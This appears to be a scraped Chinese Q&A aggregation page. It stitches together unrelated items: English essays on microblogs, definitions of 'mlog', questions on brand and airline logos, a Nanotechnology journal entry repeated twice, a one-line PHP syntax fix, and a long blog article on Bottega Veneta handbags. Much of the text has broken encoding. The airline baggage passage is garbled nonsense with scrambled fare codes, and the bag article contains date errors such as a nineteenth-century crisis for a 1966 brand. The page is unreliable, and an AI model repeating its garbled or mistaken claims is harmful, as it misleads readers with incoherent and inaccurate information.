with the development of the Internet, more and more people have their own computers and cell phones which are advanced. As a result, traditional communicating ways are getting changed. Micro blog is one of the new styles. The next, micro blogs are as convenient as short messages, but much cheaper. What"s more, not only does it send word messages, but also it can carry pictures and sounds. Just like coins have two sides, the micro blog also has its disadvantages. We should know that micro blog is merely a way of relaxing ourselves. Too much time spent on micro blog is not wise. What we should do is bridging the balance between play and study or work. In addition, micro blog perhaps show up our individual secrets, which maybe a tool for some bad men. 关于blog作文5 Nowadays, micro blog has become a prevalent shared platform used by youth and old who can use mobile phone flexible. Why does it become so popular? First of all, it is convenient. Whenever and wherever you are, with your phone or other appliance which is online available, you can share a sentence or a section to your fans. They can read and comment it immediately. In my opinion, it"s the most important function that is different from the traditional blog. Micro blog is more easy to use. Secondly, it will remind you more and more people whom you may be familiar with, so that you fans circle can be larger and larger. What"s more, with more and more famous person join in micro blog, you can catch much news in this platform, including political, economic, cultural and stars" news. There are also some jokes that you can read them to relax in your spare time. In a word, micro blog is a platform that helps people get in touch with others more conveniently and frequently. In such a busy era, it"s no doubt to be a good choice for people to know what happen around us. 关于blog作文集锦5篇相关 文章 : ★ 关于迎难而上的作文集锦5篇 ★ 关于这样做值得的作文集锦5篇 ★ 关于意料之外作文合集5篇 ★ 高二关于青春的作文集锦5篇 ★ 关于生活的作文集锦5篇 ★ 发现作文集锦【5篇】 ★ 关于以希望为话题的作文集锦【5篇】 ★ 关于以青春为话题的作文集锦五篇 ★ 关于回家的作文合集5篇 ★ 游记作文800字集锦【5篇】

mlog是什么意思?

首先我们来看下mlog的大致意思mlog:词性为名词,mlog是由微博(microblog)和日志(log)组合而成的词语。微博是指一种短文本形式的社交媒体发布,日志则是指记录个人活动或思想的文本。mlog可以理解为用户在微博平台上发布的个人日志。通过下面的表格我们了解下mlog的含义、发音和用法接下来我们讲解几个用例,希望这些用例可以加深您的理解U0001f680U0001f680U0001f680mlog:I have been writing mlogs recently to share my travel experiences.(我最近在写mlog,分享我的旅行经历。)His mlogs are very popular and he has a lot of fans.(他的mlog很受欢迎,有很多粉丝。)The number of comments on this mlog has exceeded 1000.(这篇mlog的评论数已经超过了1000。)U0001f446U0001f446U0001f446注意事项:mlog是一种网络流行语,主要在社交媒体平台上使用,因此在正式场合并不常见。

急需以“The Popularity Of Microblog”为题目的作文

The Popularity of Micro-blogu3000u3000In recent years, Micro-blog has been more and more popular. Precisely, Micro-blog has become part of peopleu2019s life. It seems that everybody has a Micro-blog now. Many factors contribute to the widespread of Micro-blogging. First, Micro-blog enables people to convey their emotions and individual thoughts more conveniently. Micro-blog has no fixed rules and neednu2019t professional knowledge and skills, which enables millions of people to have a voice and connect with others. Moreover, people can express their instant feelings at any time and anywhere if they have a phone. Second, Micro-blog can communicate with each other more deeply. By revealing their heartfelt emotions on the Micro-blog, their friends may also know about their conditions and can offer in-time comfort. Third, Micro-blog really provides a platform for ordinary people to display their abilities, and it is a good form for people to share views and to get information.u3000u3000However, Micro-blogging can also be potentially dangerous as it may give away peopleu2019s privacy and other significant information. It might be used by some people who have ulterior motives to spread rumors or to slander other people. In other hands, being susceptible to others" idea easilyuff0cmost people tend to lose the ability of thinking independently.u3000u3000In my opinion, Micro-blogging provides us comfort and also inevitably some concerns. We should be careful while using it.

micro-blog是什么意思?

微博

微博的英文是micro blog还是直接weibo这个拼音呢?

微博 [词典] microblog; twitter; micro-blog; tweet; [例句]你又登陆了你微博。You landed your microblogging again.指微博这种产品用"Microblog" 指新浪微博可以直接用"Weibo"或者"Sina-Weibo" 指单条微博这个实体的话我用的是"tweet"

对称线条logo什么牌子

是电竞外设品牌 ZOWIE 卓威 从2015年起,ZOWIE将更换品牌LOGO标识,从以前那个...说不上来像什么东西的图形,换成更加简洁的Z字线条设计。目前ZOWIE官网已出现变化,明年推出的新品也都会启用新LOGO,而在售产品不受影响保持老LOGO不变。

跪求香港海洋公园的LOGO中,英文“Ocean Park”使用的字体是什么字体?

自己想,如果不知道,那我也没办法,

一个首饰的牌子 logo是一个侧脸的 名称是V反写的E反写的N T I 叫什么啊

不知道什么意思,最好上图。

nanotechnology这个杂志的影响因子是多少

期刊名 nanotechnology 出版周期: 周刊 中科院杂志分区 工程:综合分类下的 2 区期刊 近4年影响因子:2013年度 2012年度 2011年度 2010年度 3.672 3.842 3.979 3.644 出版社或管理机构 杂志由 IOP PUBLISHING LTD 出版或管理。 ISSN号:0957-4484 杂志简介/稿件收录要求 In response to the growth in research in the area and the extension of nanotechnology across traditional academic fields the journal will be changing its scope from January 2002. The new scope will strongly reflect the interdisciplinary aspect of nanoscale science and technology with the aim of becoming the primary source of information in this ever expanding field. In the meantime we invite authors who work at the forefront of nanoscale science and technology, and especially those in interdisciplinary areas, to submit their papers to the journal. Present subject coverage. Papers are expected to be original experimental or theoretical research or to be an original synthesis or analysis of subjects related to nanotechnology. Here, nanotechnology is taken to include all those technologies and enabling technologies associated with either the "top-down" approach to fabricating miniature elements by sculpting the desired structure from a macroscopic piece of material, as well as the "bottom-up" approach of building the desired structure atom by atom or molecule by molecule. Typical appropriate topics include, but are not limited to: engineering fabrication involving atomic level machining and metrology involving dimension, size and tolerances less than the wavelength of light and down to values of at largest 0.2 nm, but preferably to x-ray levels and beyond; performance of micromechanisms such as microactuators to subnanometre and molecular levels; the design of instruments and machine tools capable of measuring, performing and manufacturing to nanometre levels; the application of nanometre level instruments such as scanning tunnelling microscopes and atomic force microscopes to biology, medicine and materials science; miniaturization of electronic, mechanical and optical components, and their fabrication with such methods as ion-beam removal and deposition, molecular-beam epitaxy and electron-beam and photon-beam lithography; fabrication and use of field-emission vacuum microelectronic devices; nanoelectronics including nanometre scale semiconductor structures and their potential electronic device applications; molecular engineering--either molecular scale components or new molecular materials exhibiting unique electronic, mechanical or optical properties; nanoprecision instrumentation, e.g., x-ray multilayer thin-film fabrication and associated surface processing.

nanotechnology这个杂志的影响因子是多少

期刊名 nanotechnology 出版周期: 周刊 中科院杂志分区 工程:综合分类下的 2 区期刊 近四年影响因子:2013年度 2012年度 2011年度 2010年度 3.672 3.842 3.979 3.644 出版社或管理机构 杂志由 IOP PUBLISHING LTD 出版或管理。 ISSN号:0957-4484 杂志简介/稿件收录要求 In response to the growth in research in the area and the extension of nanotechnology across traditional academic fields the journal will be changing its scope from January 2002. The new scope will strongly reflect the interdisciplinary aspect of nanoscale science and technology with the aim of becoming the primary source of information in this ever expanding field. In the meantime we invite authors who work at the forefront of nanoscale science and technology, and especially those in interdisciplinary areas, to submit their papers to the journal. Present subject coverage. Papers are expected to be original experimental or theoretical research or to be an original synthesis or analysis of subjects related to nanotechnology. Here, nanotechnology is taken to include all those technologies and enabling technologies associated with either the "top-down" approach to fabricating miniature elements by sculpting the desired structure from a macroscopic piece of material, as well as the "bottom-up" approach of building the desired structure atom by atom or molecule by molecule. Typical appropriate topics include, but are not limited to: engineering fabrication involving atomic level machining and metrology involving dimension, size and tolerances less than the wavelength of light and down to values of at largest 0.2 nm, but preferably to x-ray levels and beyond; performance of micromechanisms such as microactuators to subnanometre and molecular levels; the design of instruments and machine tools capable of measuring, performing and manufacturing to nanometre levels; the application of nanometre level instruments such as scanning tunnelling microscopes and atomic force microscopes to biology, medicine and materials science; miniaturization of electronic, mechanical and optical components, and their fabrication with such methods as ion-beam removal and deposition, molecular-beam epitaxy and electron-beam and photon-beam lithography; fabrication and use of field-emission vacuum microelectronic devices; nanoelectronics including nanometre scale semiconductor structures and their potential electronic device applications; molecular engineering--either molecular scale components or new molecular materials exhibiting unique electronic, mechanical or optical properties; nanoprecision instrumentation, e.g., x-ray multilayer thin-film fabrication and associated surface processing.

Das Auto在大众汽车的logo中表示什么意思

翻译成中文就:夫,汽车也。

谁有Apologize的歌词与翻译?

可以用千千静听下载lrc格式的!!

中国航空公司logo大全国际航空公司logo大全

1、各航空公司的标志是什么样的?2、各大航空公司标志是什么?3、各航空公司的标志分别是什么?4、航空公司的标志有哪些?5、中国航空公司标志有哪些?6、各航空公司的标志是什么?各航空公司的标志是什么样的?东方航空:南方航空:海南航空公司:中国国际航空公司:中国深圳航空公司:中国四川航空公司:中国厦门航空公司:中国上海航空公司:中国联合航空公司:各大航空公司标志是什么?各大航空公司标志是中国国际航空公司以凤作为航徽。中国东方航空公司是春雨和小燕子,中国南方航空公司由一朵抽象化的大红色木棉花衬托在宝蓝色的飞机垂直尾翼图案上组成,航安徽色彩鲜艳,丰满大方。在南方人的心目中,木棉象征高尚的人格,人们赞美它、热爱它,广州市民把它推举为自己的市花,视为图腾。中国西南航空公司雄鹰,鹰,且有博风击雨,傲骨凌云的秉性。泱泱奏汉风,沥沥魏晋雨,更加长满了鹰图的翅膀。象征西南航空公司员工勇于开拓,拼搏奋进,争创一流的雄鹰标徽,在浩如苍穹振翮高飞,将吉祥和友谊播撒四方。中国国际航空企业文化国航2005年底推出的企业文化以服务为主线,阐述了国航的企业价值观。国航远景和定位是具有国际知名度的航空公司,其内涵是实现主流旅客认可、中国最具价值、中国盈利能力最强、具世界竞争力的战略目标。国航秉承安全第一、旅客至上的理念,推出以放心、顺心、舒心、动心为内容的四心服务工程。国航发展目标,做主流旅客认可的航空公司,做中国最具价值的航空公司,做中国盈利能力最强的航空公司,提升国际竞争力,做具有世界竞争力的航空公司。在国内占据北京市场主导地位的同时,致力于提升在全球航空网络的地位。各航空公司的标志分别是什么?1、南方航空标志由一朵抽象化的大红色木棉花衬托在宝蓝色的飞机垂直尾翼图案上组成,航安徽色彩鲜艳,丰满大方。在南方人的心目中,木棉象征高尚的人格,人们赞美它、热爱它,广州市民把它推举为自己的市花,视为图腾。2、东方航空展翅飞翔的燕子代表飞行.位于整个标志的视觉中心;上面的汉字和下面的拉丁文相结合组成一圆形标志。在色彩处理上,上半圆用红色,下半圆用蓝色、营造了旭日东升、海天一色、壮丽辉煌的宏大场面,充分地表达了中国、东方、航空的内涵。汉字和拉丁文的组合使中外旅客一目了然,识辨性很强。3、中国航空标识融原中国国际航空公司的凤凰图形、原中国航空总公司的中文字体和原西南航空公司的色彩为一体,蕴涵集团企业的渊源与重组后文化整合的统一性。集团英文简称"AIRCHINA",中文简称为"中国航空"。凤凰是人间祥瑞的象征。该标识以凤凰为主设计元素,突出了航空运输主业在整个集团完整产业链中的地位,具有明显的行业识别性。同时,祈愿凤凰这一神圣的生灵及其美丽的传说,带给人们无限的吉祥与幸福。4、海南航空以手形鸽子的旭日抽象图案组成。白鸽代表和平、吉祥、美好、向上,寓意航空公司为公众服务的爱心。表现为一只美丽雄健的白鸽迎着东方的旭日,搏击腾空,象征新华航空公司生机勃勃、展翅长空。标志图形的弧线、隐含归护相生的木极图形。标志中背地面飞展的翅膀与庄子《逍远逛》之意喻为鲲鹏。标志下方设计含云纹和水浪纹。5、深圳航空标志以中华传统的红、黄为色调,以象形文字——战国时期大篆体“朋”为设计原形,寓意深航立志成为“民族之鹏”。“民族之鹏”是中国传统文化和现代文化集合的图腾。图案和谐融汇,红金吉祥映衬,凝聚东方文化的精髓。挺拔傲立,充满生机,体现果断进取的精神。标志造型气势磅礴,沉着矫健。呈高瞻远瞩,胸怀万物,根基稳固之三态。一为睿智定乾坤,二是同心创辉煌,三生万物盛千里代表深圳航空“沉稳,诚信,进取”的理念。6、上海航空象征吉祥、如意,展翅飞翔的白鹤,带领全体民航人不断前进。展翅飞翔的白鹤,象征吉祥、如意,展翅飞翔。并将公司全称的英文缩写“SAL”组合进图案,鹤翅和颀长的鹤颈连成柔和曲线代表“S”,鹤头代表“A”,鹤翅和和鹤尾相连代表“L”。标志外形呈“上”字,主体色彩为大红底、白色鹤,简洁生动、视觉冲击力强,富有民族特色,易于记忆和辨别。7、厦门航空昂首矫健的白鹭在蓝天振翅高飞,展示了厦航“团结拼搏、开拓奋飞”的企业精神,象征吉祥、幸福永伴宾客。不仅如此,它还寓示着厦航是从鹭岛腾空而起的白鹭,厦航将永远地扎根于厦门,服务于厦门乃至福建的建设和发展。8、山东航空三个“S”形曲线代表擅长飞翔,纪律严明的飞燕,同时也是团结一致的象征。飞燕的三个“S”形翅膀,看上去像“山”字,三个"S"分别代表“山东”、“成功”、“安全”。航徽的周围对称的八条平行线段组成机翼形状,代表山航永远稳健安全的飞翔。山东航空股份有限公司成立于1999年12月13日,其前身是1994年成立的山东航空有限责任公司,总部设在济南。参考资料来源:百度百科-中国南方航空集团有限公司 百度百科-中国东方航空集团有限公司 百度百科-中国航空 百度百科-海南航空控股股份有限公司 百度百科-深圳航空有限责任公司 百度百科-中国上海航空 百度百科-厦门航空有限公司 百度百科-山东航空股份有限公司航空公司的标志有哪些?航空公司的标志有:1、中国国际航空国航的标志是凤凰,标志颜色为中国传统的大红,造型以简洁舞动的线条展现凤凰姿态,同时又是英文“VIP”(尊贵客人的艺术变形。2、中国东方航空标志使用红蓝品牌基准色,燕首及双翅辉映朝霞的赤红;弧形的尾翼折射大海的邃蓝,寓意着广博、包容、理性,巧妙地呼应东航“激情超越、严谨高效”的企业精神。3、中国南方航空标志由一朵抽象化的大红色木棉花和宝石蓝的飞机垂直尾翼图案组成。木棉花象征坦诚、热情的风格,以木棉花塑造公司的企业形象,表示公司将始终以坦诚、热情的态度为广大旅客、货主提供尽善尽美的航空运输服务。4、海南航空标志的顶端,是日月宝珠,喻意东方文化中至高至深的自然,“海南航空”将依自然昭示的法则而生长。标志的底部是浪花的写意表达,喻意“海南航空”将一石激起千重浪,惊涛拍岸,卷起千堆雪。5、厦门航空昂首矫健的白鹭在蓝天振翅高飞,展示了厦航“团结拼搏、开拓奋飞”的企业精神,象征吉祥、幸福永伴宾客。航空公司行李托运价格:1、云南祥鹏航空投资集团公司近日宣布,7年1同年起正式实施行李个性化服务,旅客绝不会利皮扬卡承担20KG免费行李托运总之支出,可依其需购买托运行李额。2、即乘坐祥鹏航空经济舱航班旅客,可免费携带那件重量未必超过5KG或者说及非托运行李进入客舱。3、购买M/S/B1/M/K1/P/M1/H/S/G舱客票在我看来旅客可免费托运行李等为10KG,P/S/P/W/M/R/E1/E/D1/M/T1/T/I1/T/Z1-Z4/S/H/R/S舱亦无免票行李额。中国航空公司标志有哪些?中国东方航空公司、中国国际航空公司、中国南方航空公司、海南航空、上海航空公司、新疆航空公司、四川航空公司、厦门航空、中国国航货运公司、长安航空、中国货运航空、中飞通用航空公司、中国邮政航空、中国联合航空、中国新华航空、金鹿公务机(DeerJet、东星航空、贵州航空、华夏航空、翡翠货运航空、JetwinCargoAirline、奥凯航空、山东航空、山西航空、深圳航空、春秋航空、鹰联航空、武汉航空、扬子江货运航空各航空公司的标志是什么?各航空公司的标志是中国国际航空标志是凤凰。标志颜色为中国传统的大红,造型以简洁舞动的线条展现凤凰姿态,同时又是英文VIP尊贵客人的艺术变形,中国东方航空标志使用红蓝品牌基准色,燕首及双翅辉映朝霞的赤红。各航空公司的标志特点中国南方航空标志由一朵抽象化的大红色木棉花和宝石蓝的飞机垂直尾翼图案组成,木棉花象征坦诚热情的风格,以木棉花塑造公司的企业形象,表示公司将始终以坦诚热情的态度为广大旅客主提供尽善尽美的航空运输服务。上海航空标志主体呈变形简化的仙鹤,象征吉祥如意展翅飞翔,并将公司英文名称ShanghaiAirlines的缩写SAL组合进图案中,鹤翅与鹤颈连成的柔和曲线代表S,鹤头代表A,鹤翅与鹤尾相连代表L。

Parse error: syntax error, unexpected T_STRING in C:xampphtdocslogin.php on line 14

if(!$result){exit("数据库查询失败!");//这里打错了,前面是单引号,后面打成了双引号}

被吐槽老气,又没有Logo的意大利奢饰包,凭什么逆袭LV?

近两年想象中的BV好像变年轻了不少,与记忆中的古朴的BV有很大的出入。 一进BV的门店就有一种年轻的气息扑面而来,Arco、云朵包、cassette、Jodie款式各异,颜色也很好看,莫兰迪色系温柔又亮眼。 不爱买爆款的我都跟风入了棕色的小号Arco,买它绝对不是为了追求潮流。在店里试背的时候就觉得,皮质很好,款式又简洁大方。 店里的各种异形包我这个不太爱买包的人来说,十分新颖,从来没有见过如此有趣的设计。 当时就在想,这些产品背后是一个什么样的设计师,又是一个什么样的品牌。 今天没什么事情,闲下来了,就想写一写BV是怎么来的,又是怎么火的? 一听BV这个名字,还以为它和LV一样是个百年老字号,其实它成立的时间不长,1966年在意大利的一个小镇成立。 在这个小镇成立绝非偶然,当地的皮革制造已经有很久的 历史 ,从事皮具制造的技师的技艺也相当成熟了。 可当地一般的皮革都非常坚硬,缝纫机很难把它裁开。但还好,并没有难到两位创始人,Taddei和zengiaro。他们把上等柔软的皮革,裁成条状,用特殊的手法把它们编织在一起,达到牢固耐用的效果。 这种独特的手法就是独家的皮革梭织法。让BV在70年代声名鹊起,成为知名的顶级奢侈品牌。 对于一个年轻品牌来说,短短十年就为众人所知,已经算是迅猛发展了。 BV之所以矜贵,正在于纵横交错的皮革简直就是耗时耗工的手工艺精品。在位于意大利的BV工厂内,只有10多名工匠同时参与才能完成一个包的编织。 当然,做好产品是一方面,发展初期的BV也遇到了不少贵人。美国总统夫人肯尼迪,伊朗皇后法拉赫u2022巴列维都是它的粉丝。 波普艺术大师安迪u2022沃霍尔主动替BV拍摄广告牌。还有一个令人记忆深刻的瞬间,安迪u2022沃霍尔轻吻BV的编织皮鞋。 20世纪90年代,Michele Taddei 和 Renzo Zengiaro 退休,Vittorio & Laura Moltedo 夫妇接管公司,两人着手改变品牌形象,舍弃低调的风格,尝试在产品上增加 Logo 设计,但未能取得明显成效。 有图标的BV看上去还真有点模仿LV的样子。 这一改变不仅没有获得年轻人的喜爱,失去了原有的顾客。销量一度低迷,不得已关闭了五家门店。 在十九世纪末,BV已经陷入了濒临破产的财政危机。这时候,觊觎已久的资本主义势力开动了,直到2001年Gucci 集团(现 Kering 集团)以1.56亿美元将其收购。 收购BV的原因也是一是看中了它扎实的工艺,二是因为Gucci一直觉得自己旗下缺乏一个皮具工艺极好的品牌来与LV、爱马仕抗衡。 同年6月,汤姆福特亲自去邀请了德国设计师Tomas Maier担任了Bottega Veneta的创意总监。 第一个系列便引发轰动,拯救了这个摇摇欲坠的品牌,设计出葆蝶家的经典之作——Cabat。 说到Cabat就不得不想到一个超有气质的女神,王菲,她可是妥妥的BV真爱粉。 Cabat源自法语中的篮子(Cabas),这款手袋用两片皮革无接缝编织而成,外观呈购物袋形状,没有任何品牌标志,标志着 Bottega Veneta 回归最初的风格。 同年,The Knot的设计也从众多的品牌中脱颖而出,更是受到了很多好莱坞明星的喜爱。 Knot 是Bottega Veneta的标志性产品之一, 每季发布的款式和数量有限,同时它一直以来保持的独特外形,使其成为值得收藏的臻品。 Tomas Maier在BV工作了17年,能够在一个品牌待那么久,可以说得上是真爱了。 他在设计风格上也融入了自己的低调沉稳做事风格。 他在采访中说道:“上等质量的素材、卓越的工艺、 时尚 的功能,以及隽永的设计。没有明显logo,没有二线品牌,我们不找明星代言”。 当然最后一句话也打脸了,后来给他们家代言的明星还真不少,毕竟当时的他不知道BV在2018年会发展成什么样子。 但质量这一块,真的握得死死的。2006年,BV成立一所培训学校( LaScuoladella pelletteria ),专 门培育公司下一代皮革工匠。在这里的工匠,至少要学习三年,才有资格参与BV新品设计。 2013年BV正式更名中文名为葆蝶家 ,“葆”意味着低调奢华,恒久弥远,“蝶”意味着优雅蜕变,革新美学,从这个名字也可以看出来它要蜕变的野心。 就如它的名字谐音一样“暴跌价”,2015年,再度面临危机。复古风潮与大logo元素强势回归,BV再次走到了潮流的对立面。 那么估计你这时要问了,2018年的BV吃了什么回春药,一夜之间竟有如此倾覆的转变? 对于BV的突然崛起很多人都大吃一惊,无法相信这个老土、古板的品牌走上了 时尚 巅峰。 其实,很多年轻都市女性一直对BV有着沉闷、老气的刻板印象,每年款式几乎没有多大变化,还戏称它是爸爸用的品牌。 就算是从17年的杂志图来看,还有点古典主义的味道。 背BV的大多是一些低调的、不想表达 时尚 态度的富人,正如他们的广告词说的那样“当你不再需要用什么来表达自己的时髦态度时,你可以选择BV。” 这么多年过去了,尽管他们坚持传统的手工编织,保留品牌质感,但在年轻人为消费主力的市场里,似乎并不讨喜。 很多年轻人也不愿意花大价钱去买一个款式老气又没有logo的包包,一直吐槽欣赏不来它的设计。 要说到BV爆火的原因之一是当年的 时尚 大环境的改变。 2018年old Celine 的设计师Phoebe philo离开,一些信奉极简主义、性冷淡风、大女主穿衣风格的女性产生了恐慌,害怕再也买不到自己喜欢的衣服,很急于找一个品牌去代替心目中的Celine。 而换了新的设计师后,现在的Celine已经不再是以前的风格,反而有点娇俏小女人的味道,强调女性的骨感与柔美,有点YSL的风格。 这个时候,我们的男主角Daniel Lee出现了,前创意总监Phoebe philo的得意弟子,在师傅离开后,他随之离开了Celine,加入了BV。 这个如神一般的男子一开始就获得开云集团赏识,接任原BV设计师Tomas Maier 位置。 果然,他不负众望,给BV注入新灵魂,一度不温不火的BV销售额增长了十倍,他也从 时尚 界的小透明,成为我们仰慕的名设计师。 他在BV的处女作—云朵包,成为当年名副其实的It bag。 时尚 搜索最多的就是葆蝶家和它的pouch。 云朵包的设计一开始是被否决的,公司成员认为这个包既没有标志性的编织,也没有肩带,软趴趴的非常不实用。但Daniel Lee不顾反对,执意发行了它,却意外走红。怪不得Daniel Lee在专访中说到,过渡的计划会扼杀创造性。 云朵包的设计并不是没有由来的,其实早在70年代末,BV就有推出过类似“云朵包”的设计,这只The Lauren 1980采用BV标志性编织牛皮制作而成的柔软手拿包,就出现在了1980年的经典电影《美国舞男》中。 有些人还开玩笑地说,千万不要给自己的女朋友买云朵包,因为电影里的女主就是拿着云朵包去见他的小奶狗。 同样是无logo设计,新的云朵包以其独特的造型,超高辨识度和时髦感获得大家的喜爱。 在喜爱的背后,更多是是都市女性对于极简、舒适和时髦感的追求,而恰好,这些特点新BV都有。 对于BV家原本最令人印象深刻的编织纹的整顿上,Daniel Lee的改造也可以说是大刀阔斧。为了消除编织纹“老气”的固有印象,他将编织纹加宽、变成压纹等多种方式殊途同归。 另外就是可以看到明显的Céline色板融入BV设计中这样的趋势,毕竟现在这股高级灰的莫兰迪风势不可挡,谁用谁高级…… 虽然二者都走简约质感路线,但气质上区别还是很明显的:BV给人的感觉是自由摩登,洒脱不羁,性感中带着酷劲儿。 并且BV的广告片也更有生活气息,鲜红的番茄与简约的白色编织包形成强烈的视觉反差。 Old Celine则是主打极简风,自带清冷禁欲的气息,比较性冷淡风。 2019年早秋系列为全新的BV开了一个非常好的彩头 ,与旧Celine在设计、风格都非常相似,很多人觉得这就是Celine。 一些喜欢极简风的都市女性重新找到了与自己品味一致的品牌,一下就成为了BV的粉丝,并为之狂热。 果不其然,全球 时尚 权威搜索网站Lyst发布的2019年第二季度最热门年度单品,他们家的包就排名第五。 名模Roise也是身体力行为它打Call,在Ins上更新得比签了合约还更新得勤快。 只要一打开ins,就会看到这些 时尚 博主几乎人手一只BV。 越来越多的年轻明星也为它代言,包括易烊千玺,井柏然。 还有像戚薇那样的行走种草机。 俞飞鸿身着BV连衣裙,拿着BV的云朵包受邀米兰的时装周。 BV的成功,很大一部分原因是因为Celine品牌形象的倒塌,而正好BV弥补中产阶级女性的穿衣风格。 同样也离不开设计师的个人风格,设计经验,学习经验。 看看他的简历也会觉得他值得这样的成就,毕业于英国著名的圣马丁艺术设计学院,曾就职于Maison Margiela、Balenciaga和Donna Karan。 2012年加入Celine,后来做到了Celine成衣设计总监的位置,是Celine前创意总监Pheobe Philo的爱将。 六年在Celine的工作经验也让他掌握了极简风的精髓。大家说新BV很有Celine遗风也合情合理。 对于他的设计,为什么这么戳我们女人的心这个问题,在他的采访中,他说道,当他灵感枯竭的时候,他就回去法国巴黎的街头,看女人,看她们穿什么样的衣服,喜欢什么样的打扮。 这么一说,巴黎真的是 时尚 之都了,没有灵感就可以来巴黎转转。 说了这么多,是想让大家了解一下爆款之后的故事,而不是一味地听别人说,今年这个包很流行,这个包包十分好看,然后就盲目地种草了。 买一件东西,我们虽然看重他的 时尚 性、实用性,但对品牌、设计理念一概不知,感受不到它背后文化,就和背一件仿品无差。 1 Arco 系列 第一眼看到Arco,就觉得它很有风格,个性鲜明,似乎在用最简单的线条诉说着冷淡的态度,像一个清高的女子。 Arco的手提带是细长的窄带,弯曲的弧度像竹篮的手柄,而且手柄可以扣在一起。 这款包的尺寸分别有mini号29,中号33,中大号48,大号56,特大号72。mini 号的Arco 还可配有肩带可以斜背,款式真的又亮眼又实用。 关于皮料有质量顶级的油亮皮,荔枝纹,高级牛皮等等 我买的是Arco的小号,棕色款,皮质是高级牛皮,比较耐操、耐脏。在我前面的文章里,我把它写进了我买了还想再买的好物分享里。 内部是做的麂皮设计,质感非常好,很高级。 小号的Arco既可以当腋下包,也可以当手提包,风格多变,适用的场合也更多,工作、逛街、下班接孩子都很好用。 我选择它的另一个原因它不挑身材,搭配难度低,和衣柜里简单的衣服搭配一下就可以出街,非常省心。 用到现在我还没发现Aro33的槽点,忍不住再次安利了!小号Arco真是集 时尚 与实用于一体,非常适合通勤的宝宝去购买。 大号的Arco时髦度更高,几乎是什么都可以装了。 可以参考一下戚薇的大号上身效果,戚薇168,背这个包的长度在胯部那里。低于165的要谨慎考虑。 发现Lee还是很喜欢设计Oversize的包包,仿佛没有Oversize就不年轻了,虽然年轻人也很喜欢这种酷潮范儿。 但仔细一参考超大号的Acro尺寸,实在太大了,最长的地方75cm都快有家里的餐桌那么宽了。 背着这个包,来一次说走就走的短途旅行也不是不可,立马打上了摩登、帅气的标签。二十出头的妹妹可能会喜欢这种style。 巨型the Arco春夏款比较轻薄,在原来oversize包的基础上加长了包带,软塌的面料斜跨着十分有型,没有明显的棱角,看模特背着也不会觉得累赘。 巨型包虽然酷帅,但日常生活中用到的次数很少,平时出个门带个手机、钥匙、最多带伞和饮料的容量也不需要这么大。 同样SIZE的还有墨绿色麂皮与牛皮的拼接款,相当别致,不同材质的碰撞营造出复古感满满。 很多追求超极简风的女性比较喜欢小众的Arco 托特,认为托特款更加大气。 这款包的容量也丝毫不比前一款差,大到可以装下自家的宠物狗。 日常通勤背出去显得很有品味,和简单的白衬衫、西裤都很搭。 也很适合当作妈妈包来用,即使是一只手拉着孩子,一只手拿咖啡也同样优雅。 这款更加小众,不易撞款。但同样很挑身高和身材,小个子的宝宝要慎重。 2 pouch 系列 新BV的云朵包形状似云朵,多维立体剪裁,时髦感十足。而且极具个性,让人过目不忘,一看就知道是BV。 包身柔软,可塑性强,非常好凹造型,也成为了很多明星的心头爱。 戚薇手里的是编织款的云朵,更有BV家的特色,独特的造型也打破了一身衣装给人带来的凌厉感。 大号的云朵包是时髦精博主们照片里最常出现的 简约的西装配上云朵包,浑身都散发着高级,以及追求自由、舒适的个性。 抱着它,很多博主说,感觉不像是包,更像是一个娃娃,它的柔软即使是一个人走在街头,也会有那种陪伴的安全感。 大号的容量非常大,可以容纳日常外出必带的小物件,有些ins博主竟然把鞋子装进去了。 同样为人诟病的是它的设计。没有肩带,大号抱在身上,夏天贴身抱着会很热,冬天用它,手指裸露在外面会有点冷,尤其是巴黎这天气。 要是手上再多一个孩子,背这个包出门,可想而知,简直是带来两个孩子,空不出手干其他的事情了。 但喜欢云朵包的还有一款包是有细带的可以选择,这款更加小巧可爱,大小合适,可以当作手包来用。 这款更加适合我们这个年龄段的来背,大小合适,QQ弹弹的包型,很有活力,减龄又高级。 也可以挂在身上,小小的一只,简约不简单的设计显得人十分精致,很有BV的高级感。 包包的大小要根据自己的生活习惯来选,有的人出门总是做足了万分准备,伞和水杯都带上了,那么她选一只小手包肯定是不够的。 后来,改良的云朵包也有了链条设计,在一定程度上解放了双手,大金链子的设计,很有辨识度,时髦感十足。既跨在肩下可以当作腋下包,也可以提在手里。 超模Roise在出席活动时,把它当作手包,金色链条丰富穿搭,看起来优雅又有年轻感。 但是这个设计,不容易hold住,对普通人的时髦度要求比较高,一般人容易背出土豪金的气质。而且金色链条是比较重的,长时间背着肩部很容易酸痛。 2020早春系列中,又推出了 The Pouch 的进阶版 The Shoulder Pouch,大大提升了包袋的实用性和功能性。 BV牛角包很有性冷淡的随性感,日常走简洁大气或者淑女风的宝宝都能Hold住,软软的材质背着也很舒适,是非常适合凹造型的一款包包。 深棕色与同色系素净衣服搭配,能提升时髦感, 时尚 度超高的包型在一定程度上起到减龄的效果。 在秋冬,卡其色牛角包的搭配更强,枣红色更加成熟有气质,即便是看不到脸的模特穿着简单的白色POLP裙,也觉得这个人很高贵。 喜欢云朵包的舒适,又追求实用的可以选择牛角包,这款真是时髦、实用两不误。 3 Jodie系列 Jodie系列的包包也是网络上出现较多的一款,而且大部分买了云朵包的都推荐大家入手Jodie。 Jodie的包身是沿用了BV传统的Veneta的包型。 Daniel Lee又融入无意识设计理念,打结设计让传统的包身又焕发新的生机。 这款Jodie的设计理念是来自美国女演员Jodie Foster的一张狗仔街拍图,当时的Jodie的是拿着BV的包挡脸。因此,BV就直接把这款包命名为Jodie。 Jodie由羊皮编织而成,包身更加挺括有型,拉链设计,安全性强。 这款包有迷你,常规号,中号、超大号,但我只推荐mini 款。 看一下上身图你们就会明白的,毕竟我们只是凡人。 编织的包包虽说经典,大面积的羊皮细编织看久了还有点让人头皮发麻,我更加喜欢像Arco 和Cassette那样宽一点的编织。 中号的Jodie没有大号夸张,但对于小个子来说,还是大了,虽然中号的Jodie在博主身上看起来不错,搭配西装西裤,在简约中透露着时髦。 还好今年出了Mini Jodie,很轻巧也很好驾驭。不少买到Jodie的宝宝都直呼jodie太可爱了。 迷你款颜色很丰富,多达九种,选择也更多。 正因为它的小巧可爱,很多博主脑洞大开,给它Mini款Jodie加上了可爱小配饰。 虽然第一眼看它,很萌,像个小包袱,但它绝对不是萌妹的包,不仅衬得出淑女感,也把持得住耍酷 时尚 感。 在秋冬,黑色和卡其色非常百搭。尽管Jodie的包型很可爱,但搭配起来还是有低调的高级感。编织花纹也让人一眼就知道,这是BV。 